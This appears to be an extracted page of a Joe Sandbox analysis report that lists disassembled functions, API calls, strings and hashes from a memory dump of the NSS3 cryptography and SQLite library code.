Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 29011a2d3a57e9b9cc438d37108f287738580cc952e9d5ad94c439655d6cd469
Instruction ID: a898970497082a34498ffdda9a152fbd2eda139af94332280d46dd4e1eefdddc
Opcode Fuzzy Hash: 29011a2d3a57e9b9cc438d37108f287738580cc952e9d5ad94c439655d6cd469
Instruction Fuzzy Hash: A221F2B1908204ABE7109F24EC80FAE77A4EF84658F168118FD189B202F732E555CBD2

Function 6CFD6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CFD7D8F,6CFD7D8F,?,?), ref: 6CFD6DC8

Part of subcall function 6D02FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6D02FE08
Part of subcall function 6D02FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6D02FE1D
Part of subcall function 6D02FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6D02FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CFD7D8F,?,?), ref: 6CFD6DD5

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6D0F8FA0,00000000,?,?,?,?,6CFD7D8F,?,?), ref: 6CFD6DF7

Part of subcall function 6D02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D1018D0,?), ref: 6D02B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CFD6E35

Part of subcall function 6D02FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6D02FE29
Part of subcall function 6D02FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6D02FE3D
Part of subcall function 6D02FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6D02FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CFD6E4C

Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6D0F8FE0,00000000), ref: 6CFD6E82

Part of subcall function 6CFD6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CFDB21D,00000000,00000000,6CFDB219,?,6CFD6BFB,00000000,?,00000000,00000000,?,?,?,6CFDB21D), ref: 6CFD6B01
Part of subcall function 6CFD6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CFD6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CFD6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CFD6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6D0F8FE0,00000000), ref: 6CFD6F6B
PR_SetError.NSS3(FFFFE005,00000000,6CFD7D8F,?,?), ref: 6CFD6FE1

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 327d7efb33f2a4965202c1be21ac51e29675a2dbfa3e4653bb07ec2d4c886ca5
Instruction ID: c990515f806b17f046652e87c3011d7b8b192ce11bd896623559bc5710e69296
Opcode Fuzzy Hash: 327d7efb33f2a4965202c1be21ac51e29675a2dbfa3e4653bb07ec2d4c886ca5
Instruction Fuzzy Hash: 3371B071D146469FEB00CF15CD40BAABBA4BF94308F1A4629F818DBA11F771FA94CB91

Function 6D010FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D011057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D011085
PK11_GetAllTokens.NSS3 ref: 6D0110B1
free.MOZGLUE(?), ref: 6D011107
PR_SetError.NSS3(00000000,00000000), ref: 6D011172
free.MOZGLUE(?), ref: 6D011182
free.MOZGLUE(?), ref: 6D0111A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6D0111C5

Part of subcall function 6D0152C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CFEEAC5,00000001), ref: 6D0152DF
Part of subcall function 6D0152C0: EnterCriticalSection.KERNEL32(?), ref: 6D0152F3
Part of subcall function 6D0152C0: PR_Unlock.NSS3(?), ref: 6D015358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6D0111D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6D0111F3

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: ad15eeb602ef414934f145e71b557d9c3f4d10793c38696be9af5294adb83936
Instruction ID: 54c71e2ee3459b1811ffd62f1221da80fcfc714985c1a6a2a2b0c1312f8cab44
Opcode Fuzzy Hash: ad15eeb602ef414934f145e71b557d9c3f4d10793c38696be9af5294adb83936
Instruction Fuzzy Hash: 66619FB5E082069BFB05CFA4DC81BAEB7B5BF14344F154128ED19AB341E771E941CB92

Function 6D01ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AE10
EnterCriticalSection.KERNEL32(?,?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CFFD079,00000000,00000001), ref: 6D01AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AE7F
TlsGetValue.KERNEL32(?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AEF1
free.MOZGLUE(6CFFCDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CFFCDBB,?), ref: 6D01AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AF30

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 57554a288d2b4aa240ddd717b271eb8fcdd0e32010c18dc9e402d774ce344689
Instruction ID: 0e5c19325f246876ec2b760d19eae9a80f24fb486d7ddfb94ec6c1a5cf802c1b
Opcode Fuzzy Hash: 57554a288d2b4aa240ddd717b271eb8fcdd0e32010c18dc9e402d774ce344689
Instruction Fuzzy Hash: 3E51A1B5908602EFEB01DFA5DC84B6AB7F4FF04314F104168E91897A11E771E8A9CBD1

Function 6CFF4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CFFAB7F,?,00000000,?), ref: 6CFF4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CFFAB7F,?,00000000,?), ref: 6CFF4CC8
TlsGetValue.KERNEL32(?,6CFFAB7F,?,00000000,?), ref: 6CFF4CE0
EnterCriticalSection.KERNEL32(?,?,6CFFAB7F,?,00000000,?), ref: 6CFF4CF4
PL_HashTableLookup.NSS3(?,?,?,6CFFAB7F,?,00000000,?), ref: 6CFF4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CFF4D10

Part of subcall function 6D07DD70: TlsGetValue.KERNEL32 ref: 6D07DD8C
Part of subcall function 6D07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CFF4D26

Part of subcall function 6D099DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6D0E0A27), ref: 6D099DC6
Part of subcall function 6D099DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6D0E0A27), ref: 6D099DD1
Part of subcall function 6D099DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D099DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CFF4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CFF4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CFF4E02

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: b80cc0b00e98f646c72e0e990392823b089e5a91006130018b9008663888b3e2
Instruction ID: 4300ed7d3025657574db8537cc2716ad3ffb302386e9136f8a5166af9f8be621
Opcode Fuzzy Hash: b80cc0b00e98f646c72e0e990392823b089e5a91006130018b9008663888b3e2
Instruction Fuzzy Hash: 3441B7B6D00105ABEB019F24ED44BAB7BB9FF49258F054170ED1887722EB31D965C7B1

Function 6CFDBFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFDBFFB

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CFDC015

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CFDC032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CFDC04D

Part of subcall function 6D0269E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6D026A47
Part of subcall function 6D0269E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6D026A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CFDC064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CFDC07B

Part of subcall function 6CFD8980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CFD7310), ref: 6CFD89B8
Part of subcall function 6CFD8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CFD7310), ref: 6CFD89E6
Part of subcall function 6CFD8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CFD8A00
Part of subcall function 6CFD8980: CERT_CopyRDN.NSS3(00000004,00000000,6CFD7310,?,?,00000004,?), ref: 6CFD8A1B
Part of subcall function 6CFD8980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CFD8A74

Part of subcall function 6CFD1D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CFDC097,00000000,000000B0,?), ref: 6CFD1D2C
Part of subcall function 6CFD1D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CFDC09B,00000000,00000000,00000000,?,6CFDC097,00000000,000000B0,?), ref: 6CFD1D3F
Part of subcall function 6CFD1D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CFDC087,00000000,000000B0,?), ref: 6CFD1D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CFDC0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CFDC0C9

Part of subcall function 6CFE2DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CFDC0D2,6CFDC0CE,00000000,-000000D4,?), ref: 6CFE2DF5
Part of subcall function 6CFE2DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CFDC0CE,00000000,-000000D4,?), ref: 6CFE2E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CFDC0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFDC0E3

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: c13cb8033baedb97b0dec5dbbeae60d9a85f351bdc1b6df141edd2d478da091b
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: D12174B26441056BFB005A61AC85FBB336C9B4175CF0E4134FE04DA646FB66E51983B3

Function 6CFD2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CFD2CDA,?,00000000), ref: 6CFD2E1E

Part of subcall function 6D02FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CFD9003,?), ref: 6D02FD91
Part of subcall function 6D02FD80: PORT_Alloc_Util.NSS3(A4686D03,?), ref: 6D02FDA2
Part of subcall function 6D02FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686D03,?,?), ref: 6D02FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CFD2E33

Part of subcall function 6D02FD80: free.MOZGLUE(00000000,?,?), ref: 6D02FDD1

TlsGetValue.KERNEL32 ref: 6CFD2E4E
EnterCriticalSection.KERNEL32(?), ref: 6CFD2E5E
PL_HashTableLookup.NSS3(?), ref: 6CFD2E71
PL_HashTableRemove.NSS3(?), ref: 6CFD2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CFD2E96
PR_Unlock.NSS3 ref: 6CFD2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFD2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFD2EC5

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 936487ed16d2b831ac73067317098d76d8cd1e53121da7adc93a14100487ecb2
Instruction ID: 32d8b228c34c87be3ce3fc6bd475f4060eeec80eb8af8abc65ed32c45900fff9
Opcode Fuzzy Hash: 936487ed16d2b831ac73067317098d76d8cd1e53121da7adc93a14100487ecb2
Instruction Fuzzy Hash: AA21F576D04102A7EF212B65FC05FDB3A79AB9235DF0A0130EE1886211F773D969D6E1

Function 6CFBFC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CFBFD18
sqlite3_initialize.NSS3 ref: 6CFBFD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CFBFD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CFBFD99
sqlite3_free.NSS3(00000000), ref: 6CFBFE3C
sqlite3_free.NSS3(?), ref: 6CFBFEE3
sqlite3_free.NSS3(?), ref: 6CFBFEEE

Strings

simple, xrefs: 6CFBFC79

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: d9814173b1548df638352324a237402e64cec5584b757dd960e1ef35a1c6339a
Instruction ID: cf8303f3c16097d4a31ed3831ef5557c88092ea132311584216d45bf13dea3df
Opcode Fuzzy Hash: d9814173b1548df638352324a237402e64cec5584b757dd960e1ef35a1c6339a
Instruction Fuzzy Hash: DD9171BDE012058FDB44CF56C880BAAB7B1FF89318F25C168E919AB752D731E951CB50

Function 6CFC5CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CFC5EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CFC5EED

Strings

API call with %s database connection pointer, xrefs: 6CFC5EC3
%s at line %d of [%.10s], xrefs: 6CFC5EE0
invalid, xrefs: 6CFC5EBE
misuse, xrefs: 6CFC5EDB
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CFC5ED1
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CFC5E64

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: f5ac7d743765a44112b9b94180bddcdb4b0fa84c4003fa5dcad700eeb83b2c92
Instruction ID: e6153e3fec874330a5930330f9243c0564de68ab5440f6d74d281eff5dcc6f15
Opcode Fuzzy Hash: f5ac7d743765a44112b9b94180bddcdb4b0fa84c4003fa5dcad700eeb83b2c92
Instruction Fuzzy Hash: A481CF71B097139BEB198F65D848BABB370BF41308F280269D8155BB41CB71E842EBD3

Function 6CFADCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CFADDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CFADE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CFADE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CFADEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CFADF78

Strings

database corruption, xrefs: 6CFADE5C, 6CFADE8B
%s at line %d of [%.10s], xrefs: 6CFADE61, 6CFADE90
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CFADE52, 6CFADE81

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 9979a302dad5fc4c43ead5172397e799277bac043c9d593f4fe54d5606fcb1bc
Instruction ID: ce3b768de13377c06d59322ba6a5961caedf52094bcfc18f69108056966508f4
Opcode Fuzzy Hash: 9979a302dad5fc4c43ead5172397e799277bac043c9d593f4fe54d5606fcb1bc
Instruction Fuzzy Hash: 3F818E75608300DFD7149FA5C884B6BB7F1BB45308F15882DED9A8BA52EB31E846C752

Function 6CF5CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CF5B999), ref: 6CF5CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CF5B999), ref: 6CF5D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CF5B999), ref: 6CF5D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CF5B999), ref: 6D0A972B

Strings

